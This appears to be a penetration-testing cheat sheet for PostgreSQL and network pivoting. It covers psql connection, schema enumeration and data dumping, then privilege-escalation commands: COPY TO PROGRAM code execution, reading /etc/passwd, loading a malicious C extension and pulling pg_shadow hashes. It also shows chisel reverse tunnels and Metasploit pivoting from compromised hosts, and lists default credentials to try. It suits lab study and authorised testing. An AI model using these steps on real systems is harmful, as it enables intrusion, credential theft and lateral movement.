PostgreSQL & Tunneling Complete Reference¶
Connection Methods¶
Direct Connection¶
# Basic connection
psql -h hostname -p port -U username -d database
# Common usage
psql -h 10.10.10.10 -p 5432 -U postgres -d postgres
psql postgresql://username:password@host:port/database
# Environment variable password
export PGPASSWORD='password'
psql -h host -U user -d db
# Password file (~/.pgpass)
echo "hostname:port:database:username:password" >> ~/.pgpass
chmod 600 ~/.pgpass
SSH Tunneling¶
# Local forward - remote PostgreSQL to local port
ssh -L local_port:postgresql_host:postgresql_port user@ssh_server
# Example: Remote PostgreSQL on 5432 → local 5433
ssh -L 5433:localhost:5432 user@target.com
psql -h localhost -p 5433 -U postgres
# Background tunnel
ssh -f -N -L 5433:localhost:5432 user@target.com
Dynamic Port Forwarding (SOCKS)¶
# Create SOCKS proxy
ssh -D 9050 user@target.com
# Use with proxychains
proxychains psql -h internal-db.local -U postgres
Chisel (No SSH Access)¶
# Server (your machine)
chisel server -p 8080 --reverse
# Client (compromised host)
chisel client your-ip:8080 R:5432:localhost:5432
# Connect
psql -h localhost -p 5432 -U postgres
psql Flags¶
-h, --host=HOSTNAME # Database server host
-p, --port=PORT # Port (default 5432)
-U, --username=USERNAME # Username
-d, --dbname=DBNAME # Database name
-W, --password # Force password prompt
-c, --command=COMMAND # Run single command and exit
-f, --file=FILENAME # Execute commands from file
-l, --list # List databases and exit
-q, --quiet # Quiet mode
-o, --output=FILENAME # Send output to file
-t, --tuples-only # Print rows only (no headers)
-A, --no-align # Unaligned output
-F, --field-separator # Field separator for unaligned
Meta-Commands (Inside psql)¶
\q -- Quit
\c database -- Connect to database
\l -- List databases
\dt -- List tables in current DB
\d table_name -- Describe table
\du -- List users/roles
\dn -- List schemas
\df -- List functions
\x -- Toggle expanded display
\timing -- Show query execution time
Database Enumeration¶
-- Current database
SELECT current_database();
-- All databases
SELECT datname FROM pg_database;
-- Tables in current database
SELECT tablename FROM pg_tables WHERE schemaname='public';
-- All tables across all schemas (excluding system)
SELECT schemaname, tablename FROM pg_tables
WHERE schemaname NOT IN ('pg_catalog', 'information_schema')
ORDER BY schemaname, tablename;
-- Columns in a table
SELECT column_name, data_type FROM information_schema.columns
WHERE table_name='users';
-- All schemas
SELECT schema_name FROM information_schema.schemata;
-- Find interesting table names
SELECT schemaname, tablename FROM pg_tables
WHERE tablename LIKE '%user%'
OR tablename LIKE '%pass%'
OR tablename LIKE '%secret%'
OR tablename LIKE '%admin%';
User & Permissions¶
-- Current user
SELECT current_user;
-- User privileges
SELECT * FROM information_schema.role_table_grants WHERE grantee='username';
-- Check if superuser
SELECT usesuper FROM pg_user WHERE usename=current_user;
-- Password hashes (requires superuser)
SELECT usename, passwd FROM pg_shadow;
-- Find tables owned by specific user
SELECT schemaname, tablename FROM pg_tables
WHERE tableowner='postgres';
Data Extraction¶
-- Dump table to CSV
\copy (SELECT * FROM users) TO '/tmp/users.csv' CSV HEADER
-- Command line dump
psql -h host -U user -d db -c "SELECT * FROM users" -o output.txt
-- JSON output
SELECT row_to_json(t) FROM (SELECT * FROM users) t;
pg_dump (Backup)¶
# Standard SQL dump
pg_dump -h host -U user -d database > dump.sql
# Custom format (compressed)
pg_dump -Fc database > dump.custom
# Single table
pg_dump -t table_name database > table.sql
Privilege Escalation Checks¶
-- Check COPY FROM PROGRAM (code execution if superuser)
COPY (SELECT '') TO PROGRAM 'id';
-- Check for writable config
SHOW config_file;
SHOW hba_file;
-- Check for file read (superuser)
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp;
-- Check extensions
SELECT * FROM pg_available_extensions;
-- Load malicious extension
CREATE FUNCTION sys(cstring) RETURNS int AS '/path/to/lib.so', 'sys' LANGUAGE 'c' STRICT;
SELECT sys('id');
pg_tables Deep Dive¶
What It Is¶
System view containing metadata about all tables in the database.
Query¶
Columns¶
SELECT * FROM pg_tables LIMIT 1;
-- Returns:
-- schemaname | public
-- tablename | users
-- tableowner | postgres
-- tablespace | <null>
-- hasindexes | t
-- hasrules | f
-- hastriggers | t
-- rowsecurity | f
Alternative Methods¶
-- Method 1: pg_tables
SELECT tablename FROM pg_tables WHERE schemaname='public';
-- Method 2: information_schema (SQL standard)
SELECT table_name FROM information_schema.tables
WHERE table_schema='public' AND table_type='BASE TABLE';
-- Method 3: Direct catalog query
SELECT relname FROM pg_class
WHERE relkind='r' AND relnamespace=(SELECT oid FROM pg_namespace WHERE nspname='public');
-- Method 4: psql meta-command
\dt
Schemas Explained¶
PostgreSQL organizes tables into schemas (like folders).
Default schemas:
- public - User-created tables
- pg_catalog - System tables
- information_schema - SQL standard metadata
Example:
public.users -- Your app's users table
admin.users -- Different users table in admin schema
staging.users -- Yet another users table
Tunneling Scenarios¶
Pivot Through Compromised Host¶
# Option 1: SSH tunnel
ssh -L 5432:db.internal:5432 user@webserver
# Option 2: Chisel (no SSH)
# Your machine:
chisel server -p 8080 --reverse
# Web server:
./chisel client your-ip:8080 R:5432:db.internal:5432
# Option 3: Metasploit portfwd
meterpreter> portfwd add -l 5432 -p 5432 -r db.internal
Double Pivot¶
# You → Jump1 → Jump2 → PostgreSQL
# ProxyJump
ssh -J user@jump1 -L 5432:localhost:5432 user@jump2
# Manual
ssh -L 9999:jump2:22 user@jump1
ssh -L 5432:db:5432 -p 9999 user@localhost
SOCKS + Proxychains¶
# Setup SOCKS
ssh -D 1080 user@pivot
# Edit /etc/proxychains.conf
socks5 127.0.0.1 1080
# Use
proxychains psql -h internal-db -U postgres
Dynamic Tunneling Explained¶
What It Is¶
Creates SOCKS proxy that routes ANY traffic through SSH tunnel to ANY destination.
Command¶
Usage¶
# Basic setup
ssh -D 1080 user@pivot
# Background + keep alive
ssh -f -N -D 1080 -o ServerAliveInterval=60 user@pivot
# Bind to localhost only (secure)
ssh -D 127.0.0.1:1080 user@pivot
Proxychains Configuration¶
# /etc/proxychains4.conf or /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080
# Use with tools
proxychains nmap -sT -Pn 10.10.10.5
proxychains psql -h 192.168.1.50 -U postgres
proxychains curl http://172.16.0.10
proxychains firefox
Without Proxychains¶
# curl
curl --socks5 localhost:1080 http://internal-site.local
# nmap
nmap --proxies socks4://127.0.0.1:1080 -sT -Pn target
# Browser
# Firefox: Settings → Network → Manual proxy → SOCKS Host: localhost Port: 1080
# Python
export ALL_PROXY=socks5://localhost:1080
Local vs Dynamic¶
Local Tunneling (-L)
- One specific port to one destination - Faster, no proxy overhead - Use when you know exact service neededDynamic Tunneling (-D)
- Any port to any destination - Multiple services through one tunnel - Use for enumeration, multiple targetsSOCKS4 vs SOCKS5¶
SOCKS4: - No authentication - No UDP support - No IPv6 - Wider compatibility
SOCKS5: - Supports authentication - DNS resolution through proxy (no leaks) - UDP and IPv6 support
DNS Configuration¶
# /etc/proxychains4.conf
proxy_dns # Force DNS through proxy
# Or use SOCKS5 with remote DNS
curl --socks5-hostname localhost:1080 http://internal.local
Proxychains Limitations¶
Doesn't work with:
- Ping (ICMP)
- Nmap SYN scan -sS (raw packets)
- Tools using raw sockets
Workarounds:
# Nmap: Use TCP connect scan
proxychains nmap -sT -Pn target
# Ping alternative
proxychains nc -zv target 22
Common Issues¶
Can't Connect¶
Authentication Failed¶
# Try defaults
postgres:postgres
postgres:<blank>
admin:admin
# Auth methods (pg_hba.conf):
# trust = no password
# md5 = password required
# peer = Unix user mapping
Tunnel Dies¶
# Keep alive
ssh -o ServerAliveInterval=60 -L 5432:db:5432 user@host
# Auto-reconnect
autossh -M 0 -L 5432:db:5432 user@host